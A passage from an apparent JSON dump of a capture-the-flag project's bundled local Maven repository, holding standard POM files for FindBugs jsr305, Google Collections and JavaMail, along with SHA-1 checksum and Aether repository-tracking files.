<artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${version.plugin.surefire}</version>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.7.1</version>\n        <configuration>\n          <linkXref>true</linkXref>\n          <minimumTokens>100</minimumTokens>\n          <targetJdk>1.5</targetJdk>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>taglist-maven-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <tagListOptions>\n            <tagClasses>\n              <tagClass>\n                <displayName>Todo Work</displayName>\n                <tags>\n                  <tag>\n                    <matchString>TODO</matchString>\n                    <matchType>ignoreCase</matchType>\n                  </tag>\n                  <tag>\n                    <matchString>FIXME</matchString>\n                    <matchType>ignoreCase</matchType>\n                  </tag>\n                </tags>\n              </tagClass>\n            </tagClasses>\n          </tagListOptions>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <!-- 2.2 has a bug, revert to 2.1.2 -->\n            <version>2.1.2</version>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n                <configuration>\n                  <archive>\n                    <manifest>\n                      <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                      <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                    </manifest>\n                    <manifestEntries>\n                      <Implementation-Build-Date>${maven.build.timestamp}</Implementation-Build-Date>\n                      <X-Compile-Source-JDK>${javac.src.version}</X-Compile-Source-JDK>\n                      <X-Compile-Target-JDK>${javac.target.version}</X-Compile-Target-JDK>\n                    </manifestEntries>\n                  </archive>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>${version.plugin.javadoc}</version>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <quiet>true</quiet>\n                  <archive>\n                    <manifest>\n                      <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                      <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                    </manifest>\n                    <manifestEntries>\n                      <Implementation-Build-Date>${maven.build.timestamp}</Implementation-Build-Date>\n                      <X-Compile-Source-JDK>${javac.src.version}</X-Compile-Source-JDK>\n                      <X-Compile-Target-JDK>${javac.target.version}</X-Compile-Target-JDK>\n                    </manifestEntries>\n                  </archive>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <version>1.4</version>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/oss-parent-19.pom.sha1",
    "content": "56838cb89c7eb03f76ce15f9746cc1db64dd8e53"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\njsr305-2.0.1.jar>central=\njsr305-2.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.jar.sha1",
    "content": "516c03b21d50a644d538de0f0369c620989cd8f0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom",
    "content": "\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>com.google.code.findbugs</groupId>\n\t<artifactId>jsr305</artifactId>\n\t<version>2.0.1</version>\n\t<packaging>jar</packaging>\n\t<url>http://findbugs.sourceforge.net/</url>\n\t<name>FindBugs-jsr305</name>\n\t<description>JSR305 Annotations for Findbugs</description>\n\t<licenses>\n\t\t<license>\n\t\t\t<name>The Apache Software License, Version 2.0</name>\n\t\t\t<url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n\t\t\t<distribution>repo</distribution>\n\t\t</license>\n\t</licenses>\n\t<scm>\n\t\t<connection>scm:svn:http://findbugs.googlecode.com/svn/trunk/</connection>\n\t\t<developerConnection>scm:svn:https://findbugs.googlecode.com/svn/trunk/</developerConnection>\n\t\t<url>http://findbugs.googlecode.com/svn/trunk/</url>\n\t</scm>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom.sha1",
    "content": "95efa8cea662452bb74b34abe09a93ff47625c8f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\ngoogle-collections-1.0.jar>central=\ngoogle-collections-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.jar.sha1",
    "content": "9ffe71ac6dcab6bc03ea13f5c2e7b2804e69b357\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>com.google</groupId>\n    <artifactId>google</artifactId>\n    <version>1</version>\n  </parent>\n  <groupId>com.google.collections</groupId>\n  <artifactId>google-collections</artifactId>\n  <version>1.0</version>\n  <packaging>jar</packaging>\n  <name>Google Collections Library</name>\n  <description>Google Collections Library is a suite of new collections and collection-related goodness for Java 5.0</description>\n  <inceptionYear>2007</inceptionYear>\n  <url>http://code.google.com/p/google-collections/</url>\n  <organization>\n    <name>Google</name>\n    <url>http://www.google.com</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <scm>\n    <url>http://code.google.com/p/google-collections/source/browse/</url>\n    <connection>scm:svn:http://google-collections.googlecode.com/svn/trunk/</connection>\n  </scm>\n  <!-- this is temporarily copied from the parent pom.  remove this section when that is used -->\n  <distributionManagement>\n    <repository>\n      <id>google-maven-repository</id>\n      <name>Google Maven Repository</name>\n      <url>dav:https://google-maven-repository.googlecode.com/svn/repository/</url>\n    </repository>\n    <snapshotRepository>\n      <id>google-maven-snapshot-repository</id>\n      <name>Google Maven Snapshot Repository</name>\n      <url>dav:https://google-maven-repository.googlecode.com/svn/snapshot-repository/</url>\n      <uniqueVersion>true</uniqueVersion>\n    </snapshotRepository>\n  </distributionManagement>\n  <dependencies>\n    <dependency>\n      <groupId>com.google.code.findbugs</groupId>\n      <artifactId>jsr305</artifactId>\n      <version>1.3.7</version>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>1.5</source>\n          <target>1.5</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.pom.sha1",
    "content": "292197f3cb1ebc0dd03e20897e4250b265177286\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:06 CST 2018\ngoogle-1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/google-1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>com.google</groupId>\n    <artifactId>google</artifactId>\n    <version>1</version>\n    <name>Google</name>\n    <description>Internally developed code released as open source.</description>\n    <packaging>pom</packaging>\n    <organization>\n        <name>Google</name>\n        <url>http://www.google.com/</url>\n    </organization>\n    <url>http://code.google.com/hosting/projects.html</url>\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n    <distributionManagement>\n        <repository>\n            <id>google-maven-repository</id>\n            <name>Google Maven Repository</name>\n            <url>dav:https://google-maven-repository.googlecode.com/svn/repository/</url>\n        </repository>\n        <snapshotRepository>\n            <id>google-maven-snapshot-repository</id>\n            <name>Google Maven Snapshot Repository</name>\n            <url>dav:https://google-maven-repository.googlecode.com/svn/snapshot-repository/</url>\n            <uniqueVersion>true</uniqueVersion>\n        </snapshotRepository>\n    </distributionManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/google-1.pom.sha1",
    "content": "c35a5268151b7a1bbb77f7ee94a950f00e32db61\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:33 CST 2018\nall-1.4.7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/all-1.4.7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<!--\n\n    DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.\n\n    Copyright (c) 1997-2012 Oracle and/or its affiliates. All rights reserved.\n\n    The contents of this file are subject to the terms of either the GNU\n    General Public License Version 2 only (\"GPL\") or the Common Development\n    and Distribution License(\"CDDL\") (collectively, the \"License\").  You\n    may not use this file except in compliance with the License.  You can\n    obtain a copy of the License at\n    https://glassfish.dev.java.net/public/CDDL+GPL_1_1.html\n    or packager/legal/LICENSE.txt.  See the License for the specific\n    language governing permissions and limitations under the License.\n\n    When distributing the software, include this License Header Notice in each\n    file and include the License file at packager/legal/LICENSE.txt.\n\n    GPL Classpath Exception:\n    Oracle designates this particular file as subject to the \"Classpath\"\n    exception as provided by Oracle in the GPL Version 2 section of the License\n    file that accompanied this code.\n\n    Modifications:\n    If applicable, add the following below the License Header, with the fields\n    enclosed by brackets [] replaced by your own identifying information:\n    \"Portions Copyright [year] [name of copyright owner]\"\n\n    Contributor(s):\n    If you wish your version of this file to be governed by only the CDDL or\n    only the GPL Version 2, indicate your decision by adding \"[Contributor]\n    elects to include this software in this distribution under the [CDDL or GPL\n    Version 2] license.\"  If you don't indicate a single choice of license, a\n    recipient has the option to distribute your version of this file under\n    either the CDDL, the GPL Version 2 or to extend the choice of license to\n    its licensees as provided above.  However, if you add GPL Version 2 code\n    and therefore, elected the GPL Version 2 license, then the option applies\n    only if the new code is made subject to such option by the copyright\n    holder.\n\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n\t\t\t    http://maven.apache.org/maven-v4_0_0.xsd\">\n    <parent>\n\t<groupId>net.java</groupId>\n\t<artifactId>jvnet-parent</artifactId>\n\t<version>1</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>com.sun.mail</groupId>\n    <artifactId>all</artifactId>\n    <packaging>pom</packaging>\n    <version>1.4.7</version>\n    <name>JavaMail API distribution</name>\n    <description>${project.name}</description>\n    <url>http://kenai.com/projects/javamail</url>\n\n    <scm>\n\t<connection>scm:hg:http://kenai.com/hg/javamail~mercurial</connection>\n\t<developerConnection>scm:hg:https://kenai.com/hg/javamail~mercurial</developerConnection>\n\t<url>http://kenai.com/hg/javamail~mercurial</url>\n    </scm>\n\n    <issueManagement>\n\t<system>Bugzilla</system>\n\t<url>http://kenai.com/bugzilla</url>\n    </issueManagement>\n\n    <licenses>\n      <license>\n\t<name>CDDL</name>\n\t<url>http://www.sun.com/cddl</url>\n\t<distribution>repo</distribution>\n\t<comments>A business-friendly OSS license</comments>\n      </license>\n      <license>\n\t<name>GPLv2+CE</name>\n\t<url>https://glassfish.java.net/public/CDDL+GPL_1_1.html</url>\n\t<distribution>repo</distribution>\n\t<comments>GPL version 2 plus the Classpath Exception</comments>\n      </license>\n    </licenses>\n\n    <organization>\n\t<name>Oracle</name>\n\t<url>http://www.oracle.com</url>\n    </organization>\n\n    <properties>\n\t<mail.version>1.4.7</mail.version>\n\t<!-- like mail.version, but with underscores instead of dots -->\n\t<mail.zipversion>1_4_7</mail.zipversion>\n\t<mail.spec.version>1.4</mail.spec.version>\n\t<activation-api.version>1.1</activation-api.version>\n\t<!-- defaults that are overridden in mail module -->\n\t<mail.extensionName>\n\t    ${project.groupId}.${project.artifactId}\n\t</mail.extensionName>\n\t<mail.specificationTitle>\n\t    ${project.groupId}.${project.artifactId}\n\t</mail.specificationTitle>\n\t<mail.implementationTitle>\n\t    ${project.groupId}.${project.artifactId}\n\t</mail.implementationTitle>\n\t<mail.bundle.symbolicName>\n\t    ${project.groupId}.${project.artifactId}\n\t</mail.bundle.symbolicName>\n\t<mail.packages.export>\n\t    javax.mail.*; version=${mail.spec.version}\n\t</mail.packages.export>\n\t<mail.packages.import>\n\t    javax.security.sasl;resolution:=optional,\n\t    sun.security.util;resolution:=optional,\n\t    *\n\t</mail.packages.import>\n\t<mail.packages.private>\n\t    com.sun.mail.*\n\t</mail.packages.private>\n\t<mail.probeFile/>\n\t<!-- for the osgiversion-maven-plugin -->\n\t<hk2.plugin.version>2.0.0</hk2.plugin.version>\n\t<javac.path>/opt/jdk1.4/bin/javac</javac.path>\n\t<project.build.sourceEncoding>iso-8859-1</project.build.sourceEncoding>\n\t<findbugs.threshold>\n\t    High\n\t</findbugs.threshold>\n\t<findbugs.version>\n\t    2.4.0\n\t</findbugs.version>\n\t<findbugs.skip>\n\t    true\n\t</findbugs.skip>\n\t<findbugs.exclude/>\n    </properties>\n\n    <developers>\n\t<developer>\n\t    <id>shannon</id>\n\t    <name>Bill Shannon</name>\n\t    <email>bill.shannon@oracle.com</email>\n\t    <organization>Oracle</organization>\n\t    <roles>\n\t\t<role>lead</role>\n\t    </roles>\n\t</developer>\n    </developers>\n\n    <modules>\n\t<module>mail</module>\n\t<module>mailapi</module>\n\t<module>mailapijar</module>\n\t<module>smtp</module>\n\t<module>imap</module>\n\t<module>gimap</module>\n\t<module>pop3</module>\n\t<module>dsn</module>\n\t<module>oldmail</module>\n    </modules>\n\n    <profiles>\n\t<!--\n\t    This profile contains modules that should only be built\n\t    but not installed or deployed.\n\t-->\n\t<profile>\n\t    <id>build-only</id>\n\t    <modules>\n\t\t<module>mbox</module>\n\t\t<module>demo</module>\n\t\t<module>client</module>\n\t\t<module>servlet</module>\n\t\t<module>webapp</module>\n\t\t<module>taglib</module>\n\t\t<module>logging</module>\n\t\t<module>outlook</module>\n\t\t<module>javadoc</module>\n\t    </modules>\n\t    <activation>\n\t\t<activeByDefault>true</activeByDefault>\n\t    </activation>\n\t</profile>\n\n\t<!--\n\t    This profile is used for deploying a JavaMail final release.\n\n\t    Activating this profile manually for deployment causes\n\t    the above profile to be deactivated, which works around\n\t    an apparent bug in maven that prevents me from manually\n\t    deactivating a profile.  This profile purposely has none\n\t    of the modules I don't want to be deployed.\n\t-->\n\t<profile>\n\t    <id>deploy-release</id>\n\t    <modules>\n\t\t<module>parent-distrib</module>\n\t    </modules>\n\t    <build>\n\t\t<plugins>\n\t\t    <plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t<configuration>\n\t\t\t    <skip>true</skip>\n\t\t\t</configuration>\n\t\t    </plugin>\n\n\t\t    <plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t<version>2.7</version>\n\t\t\t<executions>\n\t\t\t    <execution>\n\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t<goals>\n\t\t\t\t    <goal>jar</goal>\n\t\t\t\t</goals>\n\t\t\t    </execution>\n\t\t\t</executions>\n\t\t    </plugin>\n\n\t\t    <plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-gpg-plugin</artifactId>\n\t\t\t<version>1.1</version>\n\t\t\t<executions>\n\t\t\t    <execution>\n\t\t\t\t<id>sign-artifacts</id>\n\t\t\t\t<phase>verify</phase>\n\t\t\t\t<goals>\n\t\t\t\t    <goal>sign</goal>\n\t\t\t\t</goals>\n\t\t\t    </execution>\n\t\t\t</executions>\n\t\t    </plugin>\n\t\t</plugins>\n\t    </build>\n\t</profile>\n\n\t<!--\n\t    This profile is used for deploying a JavaMail SNAPSHOT release.\n\t    It's identical to the above deploy-release profile except that\n\t    artifacts aren't signed.\n\t-->\n\t<profile>\n\t    <id>deploy-snapshot</id>\n\t    <modules>\n\t\t<module>parent-distrib</module>\n\t    </modules>\n\t    <build>\n\t\t<plugins>\n\t\t    <plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t<configuration>\n\t\t\t    <skip>true</skip>\n\t\t\t</configuration>\n\t\t    </plugin>\n\n\t\t    <plugin>\n\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t<artifactId>maven-javadoc-plugin</artifactId>\n\t\t\t<version>2.7</version>\n\t\t\t<executions>\n\t\t\t    <execution>\n\t\t\t\t<id>attach-javadocs</id>\n\t\t\t\t<goals>\n\t\t\t\t    <goal>jar</goal>\n\t\t\t\t</goals>\n\t\t\t    </execution>\n\t\t\t</executions>\n\t\t    </plugin>\n\t\t</plugins>\n\t    </build>\n\t</profile>\n\n\t<!--\n\t    A special profile for compiling with the real JDK 1.4\n\t    compiler, to make sure there are no accidental dependencies\n\t    on JDK 1.5 APIs.  Set the property javac.path to the path\n\t    to the JDK 1.4 compiler, e.g.,\n\t    \"mvn -P1.4 -Djavac.path=/opt/jdk1.4/bin/javac\".\n\t-->\n\t<profile>\n\t    <id>1.4</id>\n\t    <build>\n\t\t<plugins>\n\t\t    <plugin>\n\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t<executions>\n\t\t\t    <execution>\n\t\t\t\t<id>default-compile</id>\n\t\t\t\t<configuration>\n\t\t\t\t    <fork>true</fork>\n\t\t\t\t    <executable>${javac.path}</executable>\n\t\t\t\t    <compilerVersion>1.4</compilerVersion>\n\t\t\t\t    <source>1.4</source>\n\t\t\t\t    <target>1.4</target>\n\t\t\t\t    <!-- these classes depend on JDK 1.5 APIs -->\n\t\t\t\t    <excludes>\n\t\t\t\t\t<exclude>\n\t\t\tcom/sun/mail/imap/protocol/IMAPSaslAuthenticator.java\n\t\t\t\t\t</exclude>\n\t\t\t\t\t<exclude>\n\t\t\tcom/sun/mail/smtp/SMTPSaslAuthenticator.java\n\t\t\t\t\t</exclude>\n\t\t\t\t\t<exclude>\n\t\t\tcom/sun/mail/util/SocksSupport.java\n\t\t\t\t\t</exclude>\n\t\t\t\t    </excludes>\n\t\t\t\t</configuration>\n\t\t\t    </execution>\n\t\t\t</executions>\n\t\t    </plugin>\n\t\t</plugins>\n\t    </build>\n\t</profile>\n    </profiles>\n\n    <build>\n\t<defaultGoal>install</defaultGoal>\n\t<plugins>\n\t    <!--\n\t\tMake sure we're using the correct version of maven,\n\t\trequired to allow us to build JavaMail with JDK 1.4\n\t\tand build the tests with JDK 1.5.  See the\n\t\tmaven-compiler-plugin configuration below.\n\t    -->\n\t    <plugin>\n\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t<artifactId>maven-enforcer-plugin</artifactId>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>enforce-version</id>\n\t\t\t<goals>\n\t\t\t    <goal>enforce</goal>\n\t\t\t</goals>\n\t\t\t<configuration>\n\t\t\t    <rules>\n\t\t\t\t<requireMavenVersion>\n\t\t\t\t    <version>[2.2.1,)</version>\n\t\t\t\t</requireMavenVersion>\n\t\t\t    </rules>\n\t\t\t</configuration>\n\t\t    </execution>\n\t\t</executions>\n\t    </plugin>\n\n\t    <!--\n\t\tThis plugin is reponsible for packaging artifacts\n\t\tas OSGi bundles.  Please refer to\n\t\thttp://felix.apache.org/site/apache-felix-maven-bundle-plugin-bnd.html\n\t\tfor more information about how to use this plugin.\n\t    -->\n\t    <plugin>\n\t\t<groupId>org.apache.felix</groupId>\n\t\t<artifactId>maven-bundle-plugin</artifactId>\n\t\t<configuration>\n\t\t    <instructions>\n\t\t\t<Bundle-SymbolicName>\n\t\t\t    ${mail.bundle.symbolicName}\n\t\t\t</Bundle-SymbolicName>\n\t\t\t<Export-Package>\n\t\t\t    ${mail.packages.export}\n\t\t\t</Export-Package>\n\t\t\t<Import-Package>\n\t\t\t    ${mail.packages.import}\n\t\t\t</Import-Package>\n\t\t\t<Private-Package>\n\t\t\t    ${mail.packages.private}\n\t\t\t</Private-Package>\n\t\t\t<DynamicImport-Package>\n\t\t\t    *\n\t\t\t</DynamicImport-Package>\n\t\t    </instructions>\n\t\t</configuration>\n\t\t<!--\n\t\t    Since we don't change the packaging type to bundle, we\n\t\t    need to configure the plugin to execute the manifest goal\n\t\t    during the process-classes phase of the build life cycle.\n\t\t-->\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>osgi-manifest</id>\n\t\t\t<phase>process-classes</phase>\n\t\t\t<goals>\n\t\t\t    <goal>manifest</goal>\n\t\t\t</goals>\n\t\t    </execution>\n\t\t</executions>\n\t    </plugin>\n\n\t    <!--\n\t\tSince we don't want a qualifier like b05 or SNAPSHOT to\n\t\tappear in the OSGi package version attribute, we use\n\t\tthe following plugin to populate a project property\n\t\twith an OSGi version that is equivalent to the maven\n\t\tversion without the qualifier.\n\t    -->\n\t    <plugin>\n\t\t<groupId>org.glassfish.hk2</groupId>\n\t\t<artifactId>osgiversion-maven-plugin</artifactId>\n\t\t<version>${hk2.plugin.version}</version>\n\t\t<configuration>\n\t\t    <dropVersionComponent>qualifier</dropVersionComponent>\n\t\t    <versionPropertyName>mail.osgiversion</versionPropertyName>\n\t\t</configuration>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>compute-osgi-version</id>\n\t\t\t<goals>\n\t\t\t    <goal>compute-osgi-version</goal>\n\t\t\t</goals>\n\t\t    </execution>\n\t\t</executions>\n\t    </plugin>\n\n\t    <!--\n\t\tUse the 1.4 compiler for JavaMail itself, but use the\n\t\t1.5 compiler for the test classes, so we can use JUnit 4.\n\t    -->\n\t    <plugin>\n\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>default-compile</id>\n\t\t\t<configuration>\n\t\t\t    <source>1.4</source>\n\t\t\t    <target>1.4</target>\n\t\t\t</configuration>\n\t\t    </execution>\n\t\t    <execution>\n\t\t\t<id>default-testCompile</id>\n\t\t\t<configuration>\n\t\t\t    <source>1.5</source>\n\t\t\t    <target>1.5</target>\n\t\t\t</configuration>\n\t\t    </execution>\n\t\t</executions>\n\t    </plugin>\n\n\t    <plugin>\n\t\t<artifactId>maven-jar-plugin</artifactId>\n\t\t<!-- need at least this version to make excludes work -->\n\t\t<configuration>\n\t\t    <finalName>${project.artifactId}</finalName>\n\t\t    <archive>\n\t\t\t<!--\n\t\t\t    Configure the maven-jar-plugin to pick up\n\t\t\t    META-INF/MANIFEST.MF that's generated by\n\t\t\t    the maven-bundle-plugin.\n\t\t\t-->\n\t\t\t<manifestFile>\n\t\t\t  ${project.build.outputDirectory}/META-INF/MANIFEST.MF\n\t\t\t</manifestFile>\n\t\t\t<manifestEntries>\n\t\t\t    <Extension-Name>\n\t\t\t\t${mail.extensionName}\n\t\t\t    </Extension-Name>\n\t\t\t    <Specification-Title>\n\t\t\t\t${mail.specificationTitle}\n\t\t\t    </Specification-Title>\n\t\t\t    <Specification-Version>\n\t\t\t\t${mail.spec.version}\n\t\t\t    </Specification-Version>\n\t\t\t    <Specification-Vendor>\n\t\t\t\t${project.organization.name}\n\t\t\t    </Specification-Vendor>\n\t\t\t    <Implementation-Title>\n\t\t\t\t${mail.implementationTitle}\n\t\t\t    </Implementation-Title>\n\t\t\t    <Implementation-Version>\n\t\t\t\t${project.version}\n\t\t\t    </Implementation-Version>\n\t\t\t    <Implementation-Vendor>\n\t\t\t\t${project.organization.name}\n\t\t\t    </Implementation-Vendor>\n\t\t\t    <Implementation-Vendor-Id>\n\t\t\t\tcom.sun\n\t\t\t    </Implementation-Vendor-Id>\n\t\t\t    <Probe-Provider-XML-File-Names>\n\t\t\t\t${mail.probeFile}\n\t\t\t    </Probe-Provider-XML-File-Names>\n\t\t\t</manifestEntries>\n\t\t    </archive>\n\t\t    <excludes>\n\t\t\t<exclude>**/*.java</exclude>\n\t\t    </excludes>\n\t\t</configuration>\n\t    </plugin>\n\n\t    <!--\n\t\tTell the source plugin about the sources that may have\n\t\tbeen downloaded by the maven-dependency-plugin.\n\n\t\tAlso, need this plugin to define target/classes as another\n\t\tsource directory so that the filtered Version.java\n\t\tthat's copied there will also be compiled when using\n\t\tthe latest version of the maven-compiler-plugin.\n\t    -->\n\n\t    <plugin>\n\t\t<groupId>org.codehaus.mojo</groupId>\n\t\t<artifactId>build-helper-maven-plugin</artifactId>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>add-source</id>\n\t\t\t<phase>generate-sources</phase>\n\t\t\t<goals>\n\t\t\t    <goal>add-source</goal>\n\t\t\t</goals>\n\t\t\t<configuration>\n\t\t\t    <sources>\n\t\t\t\t<source> <!-- for dependencies -->\n\t\t\t\t    ${project.build.directory}/sources\n\t\t\t\t</source>\n\t\t\t\t<source> <!-- for Version.java -->\n\t\t\t\t    target/classes\n\t\t\t\t</source>\n\t\t\t    </sources>\n\t\t\t</configuration>\n\t\t    </execution>\n\t\t</executions>\n\t    </plugin>\n\n\t    <!--\n\t\tConfigure the source plugin here so that it will know\n\t\tabout the sources that may have been downloaded by the\n\t\tmaven-dependency-plugin and configured by the\n\t\tbuild-helper-maven-plugin.\n\t    -->\n\t    <plugin>\n\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<id>attach-sources</id>\n\t\t\t<goals>\n\t\t\t    <goal>jar-no-fork</goal> \n\t\t\t</goals>\n\t\t    </execution>\n\t\t</executions>\n\t\t<configuration>\n\t\t    <includePom>true</includePom>\n\t\t    <!--\n\t\t\tSince we added the classes directory using the\n\t\t\tbuild-helper-maven-plugin above, we need to exclude\n\t\t\tthe class files from the source jar file.\n\t\t    -->\n\t\t    <excludes>\n\t\t\t<exclude>**/*.class</exclude>\n\t\t    </excludes>\n\t\t</configuration>\n\t    </plugin>\n\n\t    <!--\n\t\tThis is the rule that creates the zip file for distribution.\n\t    -->\n\t    <plugin>\n\t\t<artifactId>maven-assembly-plugin</artifactId>\n\t\t<inherited>false</inherited>\n\t\t<!--\n\t\t    I'd like this to be run as part of the\n\t\t    package phase, but that doesn't work.\n\t\t    Have to run it explicitly as:\n\n\t\t    mvn package assembly:assembly\n\n\t\t<executions>\n\t\t    <execution>\n\t\t\t<phase>package</phase>\n\t\t\t<goals>\n\t\t\t    <goal>assembly</goal>\n\t\t\t</goals>\n\t\t-->\n\t\t\t<configuration>\n\t\t\t    <finalName>javamail${mail.zipversion}</finalName>\n\t\t\t    <descriptors>\n\t\t\t\t<descriptor>assembly.xml</descriptor>\n\t\t\t    </descriptors>\n\t\t\t</configuration>\n\t\t<!--\n\t\t    </execution>\n\t\t</executions>\n\t\t-->\n\t    </plugin>\n\n<!-- not used\n\t    <plugin>\n\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t<configuration>\n\t\t    <arguments>-P deploy</arguments>\n\t\t</configuration>\n\t    </plugin>\n-->\n\t</plugins>\n\n\t<pluginManagement>\n\t    <plugins>\n\t\t<plugin>\n\t\t    <groupId>org.apache.maven.plugins</groupId>\n\t\t    <artifactId>maven-compiler-plugin</artifactId>\n\t\t    